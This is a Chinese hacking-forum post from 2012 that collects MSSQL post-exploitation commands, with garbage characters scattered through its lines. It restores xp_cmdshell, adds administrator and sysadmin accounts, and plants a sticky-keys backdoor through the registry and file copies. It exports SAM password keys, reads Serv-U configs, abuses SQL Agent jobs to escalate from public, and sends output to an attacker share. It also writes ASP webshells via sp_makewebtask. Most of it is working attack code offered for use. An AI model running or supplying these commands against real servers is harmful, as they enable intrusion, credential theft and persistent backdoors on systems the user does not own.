找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2262|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号" J* X3 [, ?% M! j; j
恢复方法:查询分离器连接后,
2 y/ c6 r% E0 D  d! S- m第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
; Q  j0 b' v+ _" }# S* x# F# y第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' # H1 @# a! n' @  z: x0 V7 F+ U
然后按F5键命令执行完毕4 n7 p& G2 t; G- D6 H) f
) U4 b) L$ Z7 a% Q. m7 O+ n  {- w
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& T* R+ o6 i& e  E; B恢复方法:查询分离器连接后,
0 S" q$ s2 [3 r# I# W( F1 D第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
( ^0 t" W! j; `6 q4 J9 I. U, L0 V$ S第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'% t3 t: t" @4 v8 \5 V# O6 L
然后按F5键命令执行完毕5 K( u6 c' N, @
0 r5 ?2 j1 I) Z6 q# y) ?: u0 N7 P# z% j- i
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
' a' a0 b6 @  `( T2 V; _/ z2 s恢复方法:查询分离器连接后,# W7 h9 H, K) {8 W, Q1 ]
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
" O% Z4 l# u0 ?5 {7 }第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       / G  f+ h! Y, G
然后按F5键命令执行完毕* k: \" x7 J2 U2 H# p" b) Z

1 q' |# ?! O! k; Z* ?4 终极方法.
6 e; Y4 y5 e- ~如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:* n4 Z% G) b3 R( d5 W
查询分离器连接后,
% ]. r+ D2 c  O$ G# T2000servser系统:
. Z$ [* {. e; n5 }. ?3 C0 C+ Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
3 j: q$ O. |9 c  W/ P: s; r0 r& h- Z7 w" {2 q0 O! Y; w+ W5 U
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add') @: P4 s: P/ S% f9 Z

. }( d8 W4 C- T. d# q5 c0 `/ m9 dxp或2003server系统:/ j0 w2 Z5 F5 n

3 F2 I7 d) P- e: y4 D- Mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'$ u$ {' i; Z# Z$ N: I: A
! D! l9 G2 f& s* A
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
5 q' i! S& h* c8 q. X* q0 C" y" d6 S
) O5 A) M& G0 H" k, ^" o$ o
* @5 y% ~2 J# W5 y5 C# ^& `$ ]五个SHIFT
  H+ g0 x# c6 Ndeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';3 W; }2 D9 C6 g' J
$ [0 W) Q9 B) F( U
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
$ g( B  x2 [# y) W, A+ u6 D: r$ _. d; A/ H* ]  V2 Q1 Y
xp_cmdshell执行命令另一种方法
" y) F: }) A% r+ _' X# S  C* _declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 7 W3 r) h. B' Y4 [& }2 ~

% @2 |9 q4 C' y" m: k判断存储扩展是否存在) N9 X1 M4 J& f( F1 ?+ _7 Y
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
; g  e4 M4 p4 m返回结果为1就OK6 R8 V' E- \2 O4 r- L" D

+ b1 }& M$ o. N8 Z6 L- I. G7 x  [% F+ W$ H8 R2 C
上传xplog70.dll恢复xp_cmdshell语句:
0 b" B& p) }  h0 [5 tsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
( d. n- _- |4 W0 A- S6 r9 i; V. j# \% d2 f" s) _' ^8 b8 B; P
否则上传xplog7.0.dll
( p& ^6 g% G' i( R3 D& e- GExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'' @" L# N2 E' N) ?! d; }. v

: X1 i5 H! @! V' ^. @% ]- X  g: u5 X/ ^* {

. s# m* F2 l2 q6 }' u  {首先开启沙盘模式:
' d  I8 k9 K. V; w$ Xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 ^0 b. B; @# w3 y5 ?8 f; D9 n7 s% c) d
然后利用jet.oledb执行系统命令
% ]; s  G$ s) B! |select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
, r$ R- {' R$ e/ G3 y; I返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
" G. p# ]1 q% @) q* [
) r: K1 |6 I, w
; a9 U& f. d% ^6 \: R0 z8 Z/ v) F; n9 _+ K6 n% o1 U* u2 R4 _
恢复过程sp_addextendedproc 如下: , P3 H3 G7 _" t' x/ C+ s! T
create procedure sp_addextendedproc --- 1996/08/30 20:13
  M% R0 g  D; s9 ]/ q- P@functname nvarchar(517),/* (owner.)name of function to call */ 7 @2 }5 R' z  i% Z& b  i5 `- z! J
@dllname varchar(255)/* name of DLL containing function */ % L4 ]8 |; Y( ~  R. F
as
2 S; D( K1 {" _. c# U  u1 e6 Qset implicit_transactions off 5 @5 u- d" a+ ]7 d
if @@trancount > 0
0 W: a; [9 g! p9 w* ybegin
6 j1 }6 f  A; a7 e+ N6 E; H9 araiserror(15002,-1,-1,'sp_addextendedproc')
  Y8 ]8 q5 L- l9 Z4 Z( _return (1)
. B0 V9 L0 H- b- v+ mend 0 E) Q* m: V- C0 A
dbcc addextendedproc( @functname, @dllname) 9 M, \- O' u/ j: t9 E* f, k
return (0) -- sp_addextendedproc
" b! {1 @8 z' x# nGO - W* e8 c4 G& s
- `2 c6 c( J/ L
% |, g- X0 l4 h8 k# q4 i

. L' z9 r  _; X) r- p3 G3 t导出管理员密码文件2 r4 J+ c0 o9 w4 p4 }: _6 }% N
sa默认可以读sam键.应该。9 `3 E; j( M; p6 p' P, K, t
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg* ]# \) t7 P! t# J8 l
net user administrator test! R5 X/ m+ T8 J# D# C8 [) S8 j
用administrator登陆.  D3 h0 u2 `) l- R
用完机器后: j) x# d; O; J1 @
reg import c:\test.reg2 T% w7 Y( q' S9 m- U
根本不用克隆.
1 g  m2 P$ U" t* e找到对应的sid. 4 J3 d$ N% w! |( H1 \$ i

) ~$ `3 {3 a! [& ]2 ]+ W0 F; m8 ^9 j8 C! b) y
1 J# L( L/ t* f2 _6 G/ B
恢复所有存储过程0 C! N! j; c. F4 W+ j" \' F
use master ( b3 Z+ {7 f* a( v$ u- F+ i; Q
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' ! \$ f' `* h% X( M( T% |& `
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
1 @- \* B9 X  e6 u% v* Nexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
) d, k: r/ I' Y$ Q3 r# ^3 fexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' . U* \( q, i) b* g$ k7 H. i; Z
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
2 W0 T0 Z4 [, o) a- F- p8 Kexec sp_addextendedproc sp_OACreate,'odsole70.dll' / z! c- X2 L' R5 j. K
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
$ O5 R- g4 {( [exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
  C$ s$ c$ i+ `3 _+ hexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
$ P' v: F+ w, d- n6 s7 Q/ h+ ?exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ' g* ~# V9 [9 j6 q7 W; H6 L0 P
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
3 d1 c: Y# `( a& j: N& v4 zexec sp_addextendedproc sp_OAStop,'odsole70.dll' 5 K+ G2 S" J( Q
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
9 u% Q' ~& k2 _. s1 p) H: iexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
+ k9 l3 X* t4 Nexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 0 F  E, D+ L, s8 t* _  v& K
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
& w7 X2 D# `: L5 j* I0 lexec sp_addextendedproc xp_regread,'xpstar.dll'
7 S1 H* A1 J7 N) O# Aexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 6 ]8 Y4 w8 U* |& c7 G( V4 U7 O
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
2 b( N4 U7 C# b8 L! Texec sp_addextendedproc xp_availablemedia,'xpstar.dll'$ k2 E" l" a+ H& Z, a8 b

9 T4 m, M9 A, L9 G8 N5 e0 J
9 t& }* x. C# ]# @1 M, i建立读文件的存储过程
3 d" X: q+ ~( p0 _7 i1 \Create proc sp_readTextFile @filename sysname
& [* i! H* Q# a9 T8 q% ~as! G( |3 r& L. _! F5 M7 ~: k
% Q0 l2 m( C( Q2 n, l
    begin
9 P. w/ I0 J: y/ H    set nocount on 4 \% `! X4 W) t9 u" q2 c3 R
    Create table #tempfile (line varchar(8000))
7 t; ^! g" S" z" E    exec ('bulk insert #tempfile from "' + @filename + '"')/ l- [2 e5 R3 U; h
    select * from #tempfile
* g5 m. y  ^2 o& L1 w, t* S    drop table #tempfile  z5 _3 L; Z4 F* ?
End
" a! l! u$ }7 ?, X# {' I! ?0 f0 ]5 o( B0 T, v! ^  j
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件* f" ?; r0 o7 G# R1 s) E
查看登录用户' I- D) D3 o; O
Select * from sysxlogins; D$ p9 L5 a& u# H

7 }* l7 T- X! W; W5 z把文件内容读取到表中
' W& v) }4 `: N5 p0 KBULK INSERT tmp from "c:\test.txt"  v4 \' K+ p* Q+ n8 ]
dElete from 表名 清理表里的内容
/ N& X1 A% Q) Ecreate table b_test(fn nvarchar(4000));建一个表,字段为fn
! x; L& G- x: z& }$ R- ?
5 \& n- U( }: F( L1 x9 T1 R2 v( o. z* ^4 D
加sa用户
7 c8 j! @7 @- ^+ N  Lexec master.dbo.sp_addlogin user,pass;3 Y! M/ Q, d% J7 [
exec master.dbo.sp_addsrvrolemember user,sysadmin
7 F: _' _& P# ]' n4 |% S
' q( N$ g2 a6 A4 A$ F6 |. _9 `7 x* G; {6 \
/ I0 q! ~) T2 q' |/ w4 M2 G
读文件代码  B8 {( z9 ?& Q6 B0 _
declare @o int, @f int, @t int, @ret int' J6 A( E3 _; `! ^$ r8 \0 ?
declare @line varchar(8000); ]+ c) {" s$ Z! j5 ?- \5 l; U
exec sp_oacreate 'scripting.filesystemobject', @o out3 p8 }: R% E4 Q; p
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1, A1 I& x) P, w* f
exec @ret = sp_oamethod @f, 'readline', @line out
$ a+ J( f% A  N3 q6 Zwhile( @ret = 0 )
: q0 _6 l# D. f) Xbegin
/ X, _) d: |/ vprint @line
( m- O0 c; z$ Hexec @ret = sp_oamethod @f, 'readline', @line out! j3 v8 k$ g& Y1 Y3 m$ j
end6 {6 l3 K8 t" x+ |9 G' }' n" e

1 d. C$ g4 `7 W8 m7 H+ I
4 B& V) n/ }/ U' g0 c( t1 Z+ `9 J写文件代码:
! o1 q9 s$ M3 q# r+ m  s' h  F1 W) ydeclare @o int, @f int, @t int, @ret int- T; [; {# d0 s% G  G. B. L+ _
exec sp_oacreate 'scripting.filesystemobject', @o out$ L" b- V: K  Z7 s9 o
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 18 W* |% a' E3 L8 Z) f: F' U
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
& _. \  g5 u' D8 S5 l) f* ~3 v
& P$ v- e$ b8 B4 _& c$ D. w1 K* \) h; w" {
添加lake2 shell
% k4 |$ Z0 ]* N, F7 W% a: o1 isp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
' a* B$ l" }7 p+ dsp_dropextendedproc xp_lake2
7 Z6 }3 j6 p1 y/ R, V) AEXEC xp_lake2 'net user'% ~+ I" `  _) g+ M, k( f% f. _
& A0 F4 H1 F0 M5 j0 e1 D5 y

5 e6 }; l. o) q6 t! S+ m& |得到硬盘文件信息
* _- q' y( V) x/ U" x: b--参数说明:目录名,目录深度,是否显示文件 . w$ A# f3 z7 I
execute master..xp_dirtree 'c:' - r8 \1 p, S8 b, D5 N4 t7 M
execute master..xp_dirtree 'c:',1 0 N% D& I& c1 f% j) Q- M
execute master..xp_dirtree 'c:',1,1
. @; O) q0 Q9 A% f* A/ D5 c, B* t" w8 D4 j" |

% D* p- |! d7 h$ k8 h读serv-u配置信息
+ o. j" d! _6 q) c/ Sexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
0 H4 v& Z2 ~$ ^0 Y1 V4 G7 jexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'/ w( \* H: ?; z  }- O6 s

% J+ A8 t* G) h% Z1 B2 U6 D& i# \. u. Y通过xp_regwrite写SHIFT后门
4 ]- Y/ b, k, v0 K8 y4 Z, Fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--  x: q" t  b8 T
/ s. l2 N6 \! V) i7 d
* [* n, N' W7 z; p; E0 {

9 p5 l/ u) R7 f6 j找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
1 O+ L6 }6 z: R* R/ H5 N% [7 O+ R, Aexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了. s4 O, E' b# x

2 C" f, v; E& sEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
4 r0 F3 A1 D  s5 m5 ]2 L: b% z6 s: T0 Y3 ~( \: c

, ~5 u1 a2 d7 ^% f5 s. A) R8 O, |, c3 w
sql server 2005下开启xp_cmdshell的办法6 a- H' y. X& V) l2 k; A3 y

* c+ X3 O: D3 r( a3 PEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
. P; E1 r) u1 m% O' ?: `0 V/ M- u" P4 @$ j1 D
SQL2005开启'OPENROWSET'支持的方法:# H! q; m' |) ?3 W) W( V0 n
# {' e# n! V# N
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;; t3 G; ]* J$ e5 J
: _7 e7 \0 ?7 d2 b
SQL2005开启'sp_oacreate'支持的方法:
5 @1 N: S2 I6 ^, m# M9 a) g8 Y7 J; J5 a" E
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
5 t! f5 V) X/ s1 S( q2 ~0 J' s; b0 f, r

5 E# b+ O3 _8 G3 @$ i% L7 A0 D4 O/ R3 I  I
+ Q3 c& I* {: }0 {0 R
! y& `5 W& B- q7 I! c2 W
' V5 ]5 @& `5 s1 O0 ?! P! W; }. ]

' G0 M2 k! t& O' |! Z% Q0 {  ?
  ^, j/ D$ u) j1 b5 ~. _, ]; d) O+ G. Y% h( H: D

% Q9 Z9 l' y" \
4 b- O% ~" j) c" v" D: Z0 @$ h1 X. [9 w
5 G) T4 g# E0 M$ w+ n$ e2 d
% ?+ V7 @- ^6 ~4 x
7 i( _, j- A5 {% f( x+ ^% h& v: s4 s% g" y9 D$ n% i" A
# S" a9 }6 d" ]0 S7 M. f# u
$ I. G3 F0 b/ R' p  q
8 P2 {. X# n# ]# J9 o8 A

3 v3 E* [5 n4 W" H% k6 L6 t9 I4 n7 U' I' h

8 e- W! k0 p1 l3 T, y
; m: C" {! C- \; c9 o' `, F
/ u( D- x% y1 J4 ^6 ^1 P. m+ @
4 D8 V' {. z, {- o4 ~以下方面不知道能不能成功暂且留下研究哈:
( j9 g5 }: F, y, g4)
9 Q1 |, b3 x1 N/ E: Fuse msdb; --这儿不要是master哟
: g* o9 A- P, m% n1 Q- xexec sp_add_job @job_name= czy82 ;
9 {- ]* V1 [/ W- O* Bexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
" O$ p" m2 L' s  i' Uexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
& W% o8 U3 ^5 S! x5 kexec sp_start_job @job_name= czy82 ;
. b1 A2 }0 @0 {; R9 N( j- t4 e6 H8 r6 i' Z
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
5 M2 G, n5 D$ L! ~$ `执行tsql语句了.4 D! W' f3 n) o6 U9 l( @& z
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名- L  ^: A! v7 [) z! T
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)3 A$ d" Q$ a( o9 k3 @
net start SQLSERVERAGENT
, t7 {/ z( {9 M& _
$ m# q8 S* _2 Z% P对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的/ @5 W8 F) X& h8 Y1 B
USE msdb
' M3 F6 e! _5 }' o$ J' x$ H3 cEXEC sp_add_job @job_name = GetSystemOnSQL ,
+ `5 T% H9 h3 N" M3 u' S@enabled = 1,
, _& w, R1 j* I@description = This will give a low privileged user access to
4 h. B' i! l1 _* R; _  p2 _' \xp_cmdshell ,
$ ~1 F4 M  R5 s9 d8 `@delete_level = 1
& y( ^" t7 T1 m0 D, KEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,) J2 A; o. w- R; f1 q) j: t
@step_name = Exec my sql ,6 I# y* k4 Z/ C& n3 m1 V. o
@subsystem = TSQL ,. k' u( z8 @/ z% }5 q
@command = exec master..xp_execresultset N select exec
" I) |  ~$ [# I# I! v5 ^, z; R/ kmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
9 m1 V: R2 b8 e  X; C: B# C$ e" xEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
& ?: F$ A5 u2 \" q. E/ T! P@server_name = 你的SQL的服务器名
) s% j* ?# C& Z% z) OEXEC sp_start_job @job_name = GetSystemOnSQL
" y; d- H  L% t! u% V. {- H' n
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
- B5 w- X; [% d0 O9 q7 E才让我们可以以public执行xp_cmdshell
5 t2 u. `( e$ D$ z3 C& D5 p9 T2 |# B' ?
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)9 x' A( a5 l' O$ _2 G
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
$ |+ h  O; g* ~1 v; s% b
/ [2 Z: K) L+ A! B0 O8 _USE msdb
- W4 k: A1 ]2 e; G4 _; yEXEC sp_add_job @job_name = ArbitraryFilecreate ,
" C" _& k* A: c6 M6 U@enabled = 1,/ c$ b6 u8 ?+ w9 o
@description = This will create a file called c:\sqlafc123.txt ,) K! z0 T2 A2 |9 ^* N
@delete_level = 15 R8 w- i( c/ h7 Q
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,+ o; {7 t3 M9 A/ U! [
@step_name = SQLAFC ,! _9 f+ m% z' w/ C/ I' y( a
@subsystem = TSQL ,
6 v: ?' d: R  a! z+ r6 a@command = select hello, this file was created by the SQL Agent. ,, J, S( W# b- g! [
@output_file_name = c:\sqlafc123.txt
$ J' h$ S) p/ R' q* @* `EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,4 o4 ?/ ~. K' t
@server_name = SERVER_NAME 6 P( g! Y( {# C1 d, m% ?
EXEC sp_start_job @job_name = ArbitraryFilecreate
2 @+ b% e( W; T" q' }: I! B( y4 H2 G% I4 D0 S2 ^! R- o
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
' P; k: V3 N) b: F2 W8 ^& U0 {
+ ^9 K) `5 _  y% K??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19! e' i; v2 i6 U, k1 _" }0 N. F! S
----------------------------------------------
" p/ J3 S; E' i1 g0 q; R5 Nhello, this file was created by the SQL Agent.
) o% C) C! Y) _9 ~% A9 W' _4 |
9 m3 k2 ~. ]9 f  m$ V(1 ?????)
$ ~3 G$ X( B7 J2 x3 A' y
1 t& e! ]  L, @4 W, O9 t所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
7 F2 s" W. n: q( Q7 j1 C% U9 p命令的vbs文件到启动目录!, |+ l* M6 ^/ |& Q
+ X. E3 S4 M: `) Q: C
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)) v$ c; T( ~1 r  ]% O' ~
关于sp_MScopyscriptfile 看下面的例子3 U4 Q+ J7 h; t5 {9 F% N: j
declare @command varchar(100) * W9 x# r# k7 F8 C4 j
declare @scripfile varchar(200)
+ }) T2 z2 b! `0 G7 d' H4 D$ zset concat_null_yields_null off   v) I) w* T( F; p
select @command= dir c:\ > "\\attackerip\share\dir.txt"
1 E% e2 K3 Q) Q- ^7 W: C2 hselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
2 g! A/ T6 |) r  r2 s& v7 Eexec sp_MScopyscriptfile @scripfile ,
  u/ o3 x& L% K  t7 r* ]' Q3 `2 D. Z
这两个东东都还在测试试哟* ^5 Z7 v. l3 X
让MSSQL的public用户得到一个本机的web shell- H. @/ n* Y" J. h* a' o

1 z: p. R" Q/ Hsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,  q/ `4 Y. \: R
--@query= select <img src=vbscript:msgbox(now())> 3 }  _# i0 Q+ Y  T8 x. p5 y0 h
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> & P* `2 I) G) Z: l3 b% ~
@query= select 5 k0 r7 T8 v0 h- P1 l
<%On Error Resume Next 8 ^$ J' V. ~+ c7 D( x! n
Set oscript = Server.createObject("wscript.SHELL")
# H$ B# c" D# Z# HSet oscriptNet = Server.createObject("wscript.NETWORK")
1 K  p7 U% M$ r& YSet oFileSys = Server.createObject("scripting.FileSystemObject")
* z! g; e9 n* qszCMD = Request.Form(".CMD") & a8 W, \* }5 j
If (szCMD <>"")Then
: t6 f5 m2 }4 l  m4 i- |szTempFile = "C:\" & oFileSys.GetTempName()
. v+ X9 A) [! R* o/ JCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
! {; f$ M6 ]9 j! b  {Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
1 |1 W9 n' t) v# U& WEnd If %> 1 K/ S8 j& s, Y5 C5 d
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 6 i$ w9 r7 g& h
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
2 @5 X. w! _6 \* v$ R</FORM><RE> $ n+ q9 F5 z  ]
<% If (IsObject(oFile))Then 0 _. B8 W, o( E* H% v
On Error Resume Next & i9 {- w4 N$ N5 }
Response.Write Server.HTMLEncode(oFile.ReadAll) 0 d3 x* J8 A+ d) y0 p
oFile.Close $ N6 o$ _; ?) `6 I- y( \1 B
Call oFileSys.deleteFile(szTempFile, True) ( ?- [2 E, e% w& [6 M
End If%>
  e' d4 X9 y& u) `</BODY></HTML> 9 `7 Q# W- B8 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表